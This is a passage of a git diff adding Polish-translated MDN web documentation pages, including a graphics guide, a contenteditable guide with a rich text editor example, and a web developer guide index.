+<pre>mql.removeListener(zmianaOrientacji); +</pre> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Zgodność z przeglądarką</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>9</td> + <td>{{CompatGeckoDesktop("6.0") }}</td> + <td>10</td> + <td>12.1</td> + <td>5.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>3.0</td> + <td>{{CompatUnknown}}</td> + <td>10</td> + <td>12.1</td> + <td>5</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also" name="See_also">Zobacz także</h2> + +<ul> + <li><a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">Media queries</a></li> + <li>{{domxref("window.matchMedia()") }}</li> + <li>{{domxref("MediaQueryList") }}</li> + <li>{{domxref("MediaQueryListListener") }}</li> +</ul> diff --git a/files/pl/web/guide/graphics/index.html b/files/pl/web/guide/graphics/index.html new file mode 100644 index 0000000000..17edfe14d1 --- /dev/null +++ b/files/pl/web/guide/graphics/index.html @@ -0,0 +1,41 @@ +--- +title: Grafiki na stronach +slug: Web/Guide/Graphics +tags: + - 2D + - 3D + - Canvas + - Graphics + - NeedsTranslation + - TopicStub + - Web + - WebGL +translation_of: Web/Guide/Graphics +--- +<p><span class="seoSummary">Nowoczesne strony czy też aplikacje internetowe często muszą prezentować pewne grafiki.</span> Dopóki proste wyświetlenie obrazka można wykonać za pomocą elementu {{HTMLElement("img")}}, albo ustawiając tło elementu HTML poprzez atrybut {{cssxref("background-image")}}, to często i tak zachodzi potrzeba generowania grafiki w locie albo manipulowania wyświetlonymi już obrazami. Poniże artykuły wprowadzą Ciebie głębiej w realizowanie tych czynności.</p> +<div class="row topicpage-table"> + <div class="section"> + <h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">Grafika 2D</h2> + <dl> + <dt> + <a href="/en-US/docs/Web/Guide/Graphics/Drawing_graphics_with_canvas">Rysowanie grafiki z elementem canvas</a></dt> + <dd> + Przewodnik wprowadzający do użycia elementu {{HTMLElement("canvas")}}, by rysować grafikę 2D w przeglądarce.</dd> + <dt> + <a href="/en-US/docs/SVG">SVG</a></dt> + <dd> + Scalable Vector Graphics (SVG) pozwala używać linii, krzywych oraz innych kształtów by wyświetlać grafikę. Unikając bitmap możesz generować obrazki, które bez problemów przeskalujesz do dowolnego rozmiaru.</dd> + </dl> + <p><span class="alllinks"><a href="/en-US/docs/tag/Graphics">Wyświetl wszystko...</a></span></p> + </div> + <div class="section"> + <h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">Grafika 3D</h2> + <dl> + <dt> + <a href="/en-US/docs/Web/WebGL">WebGL</a></dt> + <dd> + Przewodnik, który ułatwi Tobie zaczęcie pracy z WebGL. Technologia ta umożliwia użycie standardu OpenGL ES prosto w przeglądarce.</dd> + </dl> + </div> +</div> +<p> </p> diff --git a/files/pl/web/guide/html/editable_content/index.html b/files/pl/web/guide/html/editable_content/index.html new file mode 100644 index 0000000000..77abe792b7 --- /dev/null +++ b/files/pl/web/guide/html/editable_content/index.html @@ -0,0 +1,216 @@ +--- +title: Making content editable +slug: Web/Guide/HTML/Editable_content +translation_of: Web/Guide/HTML/Editable_content +--- +<p><span class="seoSummary">In progress. In HTML, any element can be editable. By using some JavaScript event handlers, you can transform your web page into a full and fast rich text editor. This article provides some information about this functionality.</span></p> + +<h2 id="How_does_it_work">How does it work?</h2> + +<p>All you have to do is set the {{htmlattrxref("contenteditable")}} attribute on nearly any HTML element to make it editable.</p> + +<p>Here's a simple example which creates a {{HTMLElement("div")}} element whose contents the user can edit.</p> + +<pre class="brush: html"><div contenteditable="true"> + This text can be edited by the user. +</div></pre> + +<p>Here's the above HTML in action:</p> + +<p>{{ EmbedLiveSample('How_does_it_work') }}</p> + +<h2 id="Executing_commands">Executing commands</h2> + +<p>When an HTML element has <code>contenteditable</code> set to <code>true</code>, the {{ domxref("document.execCommand()") }} method is made available. This lets you run <a href="/en-US/docs/Web/API/document.execCommand#Commands">commands</a> to manipulate the contents of the editable region. Most commands affect the document's selection by, for example, applying a style to the text (bold, italics, etc), while others insert new elements (like adding a link) or affect an entire line (indenting). When using <code>contentEditable</code>, calling <code>execCommand()</code> will affect the currently active editable element.</p> + +<h2 id="Differences_in_markup_generation">Differences in markup generation</h2> + +<p>Use of <code>contenteditable</code> across different browsers has been painful for a long time because of the differences in generated markup between browsers. For example, even something as simple as what happens when you press Enter/Return to create a new line of text inside an editable element was handled differently across the major browsers (Firefox inserted {{htmlelement("br")}} elements, IE/Opera used {{htmlelement("p")}}, Chrome/Safari used {{htmlelement("div")}}).</p> + +<p>Fortunately, in modern browsers things are somewhat more consistent. As of <a href="/en-US/docs/Mozilla/Firefox/Releases/55">Firefox 55</a>, Firefox has been updated to wrap the separate lines in {{htmlelement("div")}} elements, matching the behavior of Chrome, modern Opera, Edge, and Safari.</p> + +<p>Try it out in the above example.</p> + +<div class="note"> +<p><strong>Note</strong>: Internet Explorer, which is no longer being developed, uses {{htmlelement("p")}} elements instead of <code><div></code>.</p> +</div> + +<p>If you want to use a different paragraph separator, the above browsers all support {{domxref("document.execCommand")}}, which provides a <code>DefaultParagraphSeparator</code> command to allow you to change it. For example, to use {{htmlelement("p")}} elements:</p> + +<pre class="language-js"><code class="language-js">document<span class="punctuation token">.</span><span class="function token">execCommand</span><span class="punctuation token">(</span><span class="string token">"DefaultParagraphSeparator"</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">,</span> <span class="string token">"p"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<h2 id="Security">Security</h2> + +<p>For security reasons, Firefox doesn't let JavaScript code use clipboard related features (copy, paste, etc.) by default. You can enable them by setting the preferences shown below using <code>about:config</code>:</p> + +<pre class="code">user_pref("capability.policy.policynames", "allowclipboard"); +user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org"); +user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess"); +user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");</pre> + +<h2 id="Example_A_simple_but_complete_rich_text_editor">Example: A simple but complete rich text editor</h2> + +<div style="height: 500px; width: auto; overflow: auto;"> +<pre class="brush: html"><!doctype html> +<html> +<head> +<title>Rich Text Editor</title> +<script type="text/javascript"> +var oDoc, sDefTxt; + +function initDoc() { + oDoc = document.getElementById("textBox"); + sDefTxt = oDoc.innerHTML; + if (document.compForm.switchMode.checked) { setDocMode(true); } +} + +function formatDoc(sCmd, sValue) { + if (validateMode()) { document.execCommand(sCmd, false, sValue); oDoc.focus(); } +} + +function validateMode() { + if (!document.compForm.switchMode.checked) { return true ; } + alert("Uncheck \"Show HTML\"."); + oDoc.focus(); + return false; +} + +function setDocMode(bToSource) { + var oContent; + if (bToSource) { + oContent = document.createTextNode(oDoc.innerHTML); + oDoc.innerHTML = ""; + var oPre = document.createElement("pre"); + oDoc.contentEditable = false; + oPre.id = "sourceText"; + oPre.contentEditable = true; + oPre.appendChild(oContent); + oDoc.appendChild(oPre); + } else { + if (document.all) { + oDoc.innerHTML = oDoc.innerText; + } else { + oContent = document.createRange(); + oContent.selectNodeContents(oDoc.firstChild); + oDoc.innerHTML = oContent.toString(); + } + oDoc.contentEditable = true; + } + oDoc.focus(); +} + +function printDoc() { + if (!validateMode()) { return; } + var oPrntWin = window.open("","_blank","width=450,height=470,left=400,top=100,menubar=yes,toolbar=no,location=no,scrollbars=yes"); + oPrntWin.document.open(); + oPrntWin.document.write("<!doctype html><html><head><title>Print<\/title><\/head><body onload=\"print();\">" + oDoc.innerHTML + "<\/body><\/html>"); + oPrntWin.document.close(); +} +</script> +<style type="text/css"> +.intLink { cursor: pointer; } +img.intLink { border: 0; } +#toolBar1 select { font-size:10px; } +#textBox { + width: 540px; + height: 200px; + border: 1px #000000 solid; + padding: 12px; + overflow: scroll; +} +#textBox #sourceText { + padding: 0; + margin: 0; + min-width: 498px; + min-height: 200px; +} +#editMode label { cursor: pointer; } +</style> +</head> +<body onload="initDoc();"> +<form name="compForm" method="post" action="sample.php" onsubmit="if(validateMode()){this.myDoc.value=oDoc.innerHTML;return true;}return false;"> +<input type="hidden" name="myDoc"> +<div id="toolBar1"> +<select onchange="formatDoc('formatblock',this[this.selectedIndex].value);this.selectedIndex=0;"> +<option selected>- formatting -</option> +<option value="h1">Title 1 &lt;h1&gt;</option> +<option value="h2">Title 2 &lt;h2&gt;</option> +<option value="h3">Title 3 &lt;h3&gt;</option> +<option value="h4">Title 4 &lt;h4&gt;</option> +<option value="h5">Title 5 &lt;h5&gt;</option> +<option value="h6">Subtitle &lt;h6&gt;</option> +<option value="p">Paragraph &lt;p&gt;</option> +<option value="pre">Preformatted &lt;pre&gt;</option> +</select> +<select onchange="formatDoc('fontname',this[this.selectedIndex].value);this.selectedIndex=0;"> +<option class="heading" selected>- font -</option> +<option>Arial</option> +<option>Arial Black</option> +<option>Courier New</option> +<option>Times New Roman</option> +</select> +<select onchange="formatDoc('fontsize',this[this.selectedIndex].value);this.selectedIndex=0;"> +<option class="heading" selected>- size -</option> +<option value="1">Very small</option> +<option value="2">A bit small</option> +<option value="3">Normal</option> +<option value="4">Medium-large</option> +<option value="5">Big</option> +<option value="6">Very big</option> +<option value="7">Maximum</option> +</select> +<select onchange="formatDoc('forecolor',this[this.selectedIndex].value);this.selectedIndex=0;"> +<option class="heading" selected>- color -</option> +<option value="red">Red</option> +<option value="blue">Blue</option> +<option value="green">Green</option> +<option value="black">Black</option> +</select> +<select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;"> +<option class="heading" selected>- background -</option> +<option value="red">Red</option> +<option value="green">Green</option> +<option value="black">Black</option> +</select> +</div> +<div id="toolBar2"> +<img class="intLink" title="Clean" onclick="if(validateMode()&&confirm('Are you sure?')){oDoc.innerHTML=sDefTxt};" src="data:image/gif;base64,R0lGODlhFgAWAIQbAD04KTRLYzFRjlldZl9vj1dusY14WYODhpWIbbSVFY6O7IOXw5qbms+wUbCztca0ccS4kdDQjdTLtMrL1O3YitHa7OPcsd/f4PfvrvDv8Pv5xv///////////////////yH5BAEKAB8ALAAAAAAWABYAAAV84CeOZGmeaKqubMteyzK547QoBcFWTm/jgsHq4rhMLoxFIehQQSAWR+Z4IAyaJ0kEgtFoLIzLwRE4oCQWrxoTOTAIhMCZ0tVgMBQKZHAYyFEWEV14eQ8IflhnEHmFDQkAiSkQCI2PDC4QBg+OAJc0ewadNCOgo6anqKkoIQA7" /> +<img class="intLink" title="Print" onclick="printDoc();" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oEBxcZFmGboiwAAAAIdEVYdENvbW1lbnQA9syWvwAAAuFJREFUOMvtlUtsjFEUx//n3nn0YdpBh1abRpt4LFqtqkc3jRKkNEIsiIRIBBEhJJpKlIVo4m1RRMKKjQiRMJRUqUdKPT71qpIpiRKPaqdF55tv5vvusZjQTjOlseUkd3Xu/3dPzusC/22wtu2wRn+jG5So/OCDh8ycMJDflehMlkJkVK7KUYN+ufzA/RttH76zaVocDptRxzQtNi3mRWuPc+6cKtlXZ/sddP2uu9uXlmYXZ6Qm8v4Tz8lhF1H+zDQXt7S8oLMXtbF4e8QaFHjj3kbP2MzkktHpiTjp9VH6iHiA+whtAsX5brpwueMGdONdf/2A4M7ukDs1JW662+XkqTkeUoqjKtOjm2h53YFL15pSJ04Zc94wdtibr26fXlC2mzRvBccEbz2kiRFD414tKMlEZbVGT33+qCoHgha81SWYsew0r1uzfNylmtpx80pngQQ91LwVk2JGvGnfvZG6YcYRAT16GFtW5kKKfo1EQLtfh5Q2etT0BIWF+aitq4fDbk+ImYo1OxvGF03waFJQvBCkvDffRyEtxQiFFYgAZTHS0zwAGD7fG5TNnYNTp8/FzvGwJOfmgG7GOx0SAKKgQgDMgKBI0NJGMEImpGDk5+WACEwEd0ywblhGUZ4Hw5OdUekRBLT7DTgdEgxACsIznx8zpmWh7k4rkpJcuHDxCul6MDsmmBXDlWCH2+XozSgBnzsNCEE4euYV4pwCpsWYPW0UHDYBKSWu1NYjENDReqtKjwn2+zvtTc1vMSTB/mvev/WEYSlASsLimcOhOBJxw+N3aP/SjefNL5GePZmpu4kG7OPr1+tOfPyUu3BecWYKcwQcDFmwFKAUo90fhKDInBCAmvqnyMgqUEagQwCoHBDc1rjv9pIlD8IbVkz6qYViIBQGTJPx4k0XpIgEZoRN1Da0cij4VfR0ta3WvBXH/rjdCufv6R2zPgPH/e4pxSBCpeatqPrjNiso203/5s/zA171Mv8+w1LOAAAAAElFTkSuQmCC"> +<img class="intLink" title="Undo" onclick="formatDoc('undo');" src="data:image/gif;base64,R0lGODlhFgAWAOMKADljwliE33mOrpGjuYKl8aezxqPD+7/I19DV3NHa7P///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARR8MlJq7046807TkaYeJJBnES4EeUJvIGapWYAC0CsocQ7SDlWJkAkCA6ToMYWIARGQF3mRQVIEjkkSVLIbSfEwhdRIH4fh/DZMICe3/C4nBQBADs=" /> +<img class="intLink" title="Redo" onclick="formatDoc('redo');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAB1ChDljwl9vj1iE34Kl8aPD+7/I1////yH5BAEKAAcALAAAAAAWABYAAANKeLrc/jDKSesyphi7SiEgsVXZEATDICqBVJjpqWZt9NaEDNbQK1wCQsxlYnxMAImhyDoFAElJasRRvAZVRqqQXUy7Cgx4TC6bswkAOw==" /> +<img class="intLink" title="Remove formatting" onclick="formatDoc('removeFormat')" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/mZm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg=="> +<img class="intLink" title="Bold" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" /> +<img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" /> +<img class="intLink" title="Underline" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" /> +<img class="intLink" title="Left align" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" /> +<img class="intLink" title="Center align" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" /> +<img class="intLink" title="Right align" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" /> +<img class="intLink" title="Numbered list" onclick="formatDoc('insertorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAADljwliE35GjuaezxtHa7P///////yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKSespwjoRFvggCBUBoTFBeq6QIAysQnRHaEOzyaZ07Lu9lUBnC0UGQU1K52s6n5oEADs=" /> +<img class="intLink" title="Dotted list" onclick="formatDoc('insertunorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAAB1ChF9vj1iE33mOrqezxv///////yH5BAEAAAcALAAAAAAWABYAAAMyeLrc/jDKSesppNhGRlBAKIZRERBbqm6YtnbfMY7lud64UwiuKnigGQliQuWOyKQykgAAOw==" /> +<img class="intLink" title="Quote" onclick="formatDoc('formatblock','blockquote');" src="data:image/gif;base64,R0lGODlhFgAWAIQXAC1NqjFRjkBgmT9nqUJnsk9xrFJ7u2R9qmKBt1iGzHmOrm6Sz4OXw3Odz4Cl2ZSnw6KxyqO306K63bG70bTB0rDI3bvI4P///////////////////////////////////yH5BAEKAB8ALAAAAAAWABYAAAVP4CeOZGmeaKqubEs2CekkErvEI1zZuOgYFlakECEZFi0GgTGKEBATFmJAVXweVOoKEQgABB9IQDCmrLpjETrQQlhHjINrTq/b7/i8fp8PAQA7" /> +<img class="intLink" title="Delete indentation" onclick="formatDoc('outdent');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAAAAADljwliE35GjuaezxtDV3NHa7P///yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKCQG9F2i7u8agQgyK1z2EIBil+TWqEMxhMczsYVJ3e4ahk+sFnAgtxSQDqWw6n5cEADs=" /> +<img class="intLink" title="Add indentation" onclick="formatDoc('indent');" src="data:image/gif;base64,R0lGODlhFgAWAOMIAAAAADljwl9vj1iE35GjuaezxtDV3NHa7P///////////////////////////////yH5BAEAAAgALAAAAAAWABYAAAQ7EMlJq704650B/x8gemMpgugwHJNZXodKsO5oqUOgo5KhBwWESyMQsCRDHu9VOyk5TM9zSpFSr9gsJwIAOw==" /> +<img class="intLink" title="Hyperlink" onclick="var sLnk=prompt('Write the URL here','http:\/\/');if(sLnk&&sLnk!=''&&sLnk!='http://'){formatDoc('createlink',sLnk)}" src="data:image/gif;base64,R0lGODlhFgAWAOMKAB1ChDRLY19vj3mOrpGjuaezxrCztb/I19Ha7Pv8/f///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARY8MlJq7046827/2BYIQVhHg9pEgVGIklyDEUBy/RlE4FQF4dCj2AQXAiJQDCWQCAEBwIioEMQBgSAFhDAGghGi9XgHAhMNoSZgJkJei33UESv2+/4vD4TAQA7" /> +<img class="intLink" title="Cut" onclick="formatDoc('cut');" src="data:image/gif;base64,R0lGODlhFgAWAIQSAB1ChBFNsRJTySJYwjljwkxwl19vj1dusYODhl6MnHmOrpqbmpGjuaezxrCztcDCxL/I18rL1P///////////////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAVu4CeOZGmeaKqubDs6TNnEbGNApNG0kbGMi5trwcA9GArXh+FAfBAw5UexUDAQESkRsfhJPwaH4YsEGAAJGisRGAQY7UCC9ZAXBB+74LGCRxIEHwAHdWooDgGJcwpxDisQBQRjIgkDCVlfmZqbmiEAOw==" /> +<img class="intLink" title="Copy" onclick="formatDoc('copy');" src="data:image/gif;base64,R0lGODlhFgAWAIQcAB1ChBFNsTRLYyJYwjljwl9vj1iE31iGzF6MnHWX9HOdz5GjuYCl2YKl8ZOt4qezxqK63aK/9KPD+7DI3b/I17LM/MrL1MLY9NHa7OPs++bx/Pv8/f///////////////yH5BAEAAB8ALAAAAAAWABYAAAWG4CeOZGmeaKqubOum1SQ/kPVOW749BeVSus2CgrCxHptLBbOQxCSNCCaF1GUqwQbBd0JGJAyGJJiobE+LnCaDcXAaEoxhQACgNw0FQx9kP+wmaRgYFBQNeAoGihCAJQsCkJAKOhgXEw8BLQYciooHf5o7EA+kC40qBKkAAAGrpy+wsbKzIiEAOw==" /> +<img class="intLink" title="Paste" onclick="formatDoc('paste');" src="data:image/gif;base64,R0lGODlhFgAWAIQUAD04KTRLY2tXQF9vj414WZWIbXmOrpqbmpGjudClFaezxsa0cb/I1+3YitHa7PrkIPHvbuPs+/fvrvv8/f///////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAWN4CeOZGmeaKqubGsusPvBSyFJjVDs6nJLB0khR4AkBCmfsCGBQAoCwjF5gwquVykSFbwZE+AwIBV0GhFog2EwIDchjwRiQo9E2Fx4XD5R+B0DDAEnBXBhBhN2DgwDAQFjJYVhCQYRfgoIDGiQJAWTCQMRiwwMfgicnVcAAAMOaK+bLAOrtLUyt7i5uiUhADs=" /> +</div> +<div id="textBox" contenteditable="true"><p>Lorem ipsum</p></div> +<p id="editMode"><input type="checkbox" name="switchMode" id="switchBox" onchange="setDocMode(this.checked);" /> <label for="switchBox">Show HTML</label></p> +<p><input type="submit" value="Send" /></p> +</form> +</body> +</html> +</pre> +</div> + +<div class="note"><strong>Note:</strong> if you want to see how to standardize the creation and the insertion of your editor in your page, please see our <a class="internal" href="/@api/deki/files/6243/=rich-text-editor.zip" title="rich-text-editor.zip">more complete rich-text editor example</a>.</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("HTMLElement.contentEditable")}}</li> + <li>The {{htmlattrxref("contenteditable")}} global attribute</li> + <li><a href="/en-US/docs/Mozilla/Projects/Midas">Midas</a> (the scriptable text editor component)</li> + <li>{{cssxref("caret-color")}}, which lets you set the color of the text insertion caret</li> +</ul> diff --git a/files/pl/web/guide/index.html b/files/pl/web/guide/index.html new file mode 100644 index 0000000000..33786c5980 --- /dev/null +++ b/files/pl/web/guide/index.html @@ -0,0 +1,55 @@ +--- +title: Podręcznik web developera +slug: Web/Guide +tags: + - podręcznik + - sieć +translation_of: Web/Guide +--- +<p><strong><font><font>W tym artykule przedstawiono informacje o sposobie korzystania z określonych technologii i interfejsów API.</font></font></strong></p> + +<div class="row topicpage-table"> +<div class="section"> +<dl> + <dt class="landingPageList"><a href="/pl/docs/Learn/HTML">HTML</a></dt> + <dd class="landingPageList"><strong>Hipertekstowy język znaczników (<em>ang. HyperText Markup Language - HTML</em>)</strong> jest podstawowym językiem niemal wszystkich treści internetowych. Większość tego, co widzisz w przeglądarce jest opisane zasadniczo przy użyciu HTML.</dd> + <dt class="landingPageList"><a href="/pl/docs/Learn/CSS">CSS</a></dt> + <dd class="landingPageList"><strong>Kaskadowe arkusze stylów (<em>ang. Cascading Style Sheets - CSS</em>)</strong> to język używany do opisu prezentacji dokumetu napisanego w HTML.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/Events">Zdarzenia</a></dt> + <dd class="landingPageList">Zdarzenia odnoszą się zarówno do wzorców projektowych używanych do asynchronicznej obsługi różnych incydentów występujących w czasie życia strony internetowej jak i do nazywania, charakteryzowania i stosowania dużej ilości incydentów różnego rodzaju.</dd> + <dt class="landingPageList"><a href="/pl/docs/Web/Guide/AJAX">AJAX</a></dt> + <dd class="landingPageList">AJAX jest pojęciem odnoszącym się do grupy technologii, umożliwiającym aplikacjom szybkie, stopniowe aktualizowanie interfejsu użytkownika, bez przeładowywania całej strony przegladarki. Czyni to aplikacje szybszymi i lepiej reagującymi na działania użytkownika.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/Graphics">Grafika internetowa</a></dt> + <dd class="landingPageList">Nowoczesne strony internetowe i aplikacje często muszą prezentować grafike o różnym wyrafinowaniu.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/API">Przewodnik po internetowych interfejsach API</a></dt> + <dd class="landingPageList">Wykaz wszystkich internetowych internfejsów API i wyjaśnienie do czego służą.</dd> + <dt><a href="https://developer.mozilla.org/pl/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a></dt> + <dd>JavaScript to potężny język skryptowy używany do tworzenia aplikacji internetowych.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Localizations_and_character_encodings">Lokalizacje i kodowanie znaków</a></dt> + <dd class="landingPageList">Przeglądarki przetwarzają wewnętrznie tekst jako Unicode. Jednak, dla transferu tekstu przez sieć do przegladarki stosuje się różne kodowanie znaków, polegajace na reprezentacji znaków w postaci bajtów, co jest uwarunkowane językiem treści (lokalizacją). <a class="external external-icon" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/semantics.html#charset">Specyfikacja HTML zaleca używanie kodowania UTF-8</a> (które reprezentuje cały Unicode) i niezależnie od użytego kodowania, deklarowanie kodowania w metadanych dokumentu HTML.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/Mobile">Tworznie mobilnych stron i aplikacji</a></dt> + <dd class="landingPageList">Ta strona omawia kilka głównych technik stosowanych przy tworzeniu stron internetowych , które dobrze wyglądają i działają na urzadzeniach mobilnych. Jeżeli szukasz informacji o projekcie Firefox OS Mozillii, zobacz stronę <a href="https://developer.mozilla.org/en/Mozilla/Firefox_OS" title="Boot to Gecko">Firefox OS</a> . Interesująca może być też dla Ciebie strona o <a href="https://developer.mozilla.org/en/Mozilla/Firefox_for_Android">Firefox dla Android</a>.</dd> +</dl> +</div> + +<div class="section"> +<dl> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/Performance">Optymalizacja i wydajność</a></dt> + <dd class="landingPageList">Podczas tworzenia nowoczesnych aplikacji internetowych i stron jest ważne, aby działały one szybko i sprawnie. Pozwala to na efektywność zarówno na systemach dektopowych jak i urządzeniach przenośnych.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/Parsing_and_serializing_XML">Parsowanie i serializowanie XML</a></dt> + <dd class="landingPageList">Ta platforma internetowa opisuje różne metody parsowania i serializowania dokumentów XML, z których każd ma swoje zalety i wady.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/WOFF">Otwarty internetowy format czcionki (Web Open Font Format - WOFF)</a></dt> + <dd class="landingPageList"><strong>WOFF</strong> (<strong>Web Open Font Format</strong>) to format czcionki, który jest bezpłatny dla każdego uzytkownika internetu.</dd> + <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/Using_FormData_Objects">Stosowanie obiektów FormData</a></dt> + <dd class="landingPageList">Obiekt <a href="https://developer.mozilla.org/en/DOM/XMLHttpRequest/FormData"><code>FormData</code></a> pozwala skompilować zestaw par klucz-wartość do wysłania przy użyciu <code>XMLHttpRequest</code>. Jest przeznaczony głównie do wysyłania danych formularzy, ale można go wykorzystać również do transmisji danych z kluczami poza formularzami. Transmisja odbywa się w tym samym formacie co metoda <code>submit()</code> formularzy, stosowaną gdy typ kodowania w formularza jest ustawiony na "multipart/form-data".</dd> + <dt class="landingPageList"><a href="/pl/docs/Glossary">Słownik</a></dt> + <dd class="landingPageList">Podaje definicje wielu pojęć związanych z siecią web i Internetem.</dd> +</dl> +</div> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/pl/docs/Web/Reference" title="/en-US/docs/Web/Reference">Informator web dewelopera</a></li> +</ul> diff --git a/files/pl/web/guide/liczniki_css/index.html b/files/pl/web/guide/liczniki_css/index.html new file mode 100644 index 0000000000..3c494e6af3 --- /dev/null +++ b/files/pl/web/guide/liczniki_css/index.html @@ -0,0 +1,86 @@ +--- +title: Liczniki CSS +slug: Web/Guide/Liczniki_CSS +tags: + - CSS + - Wszystkie_kategorie +translation_of: 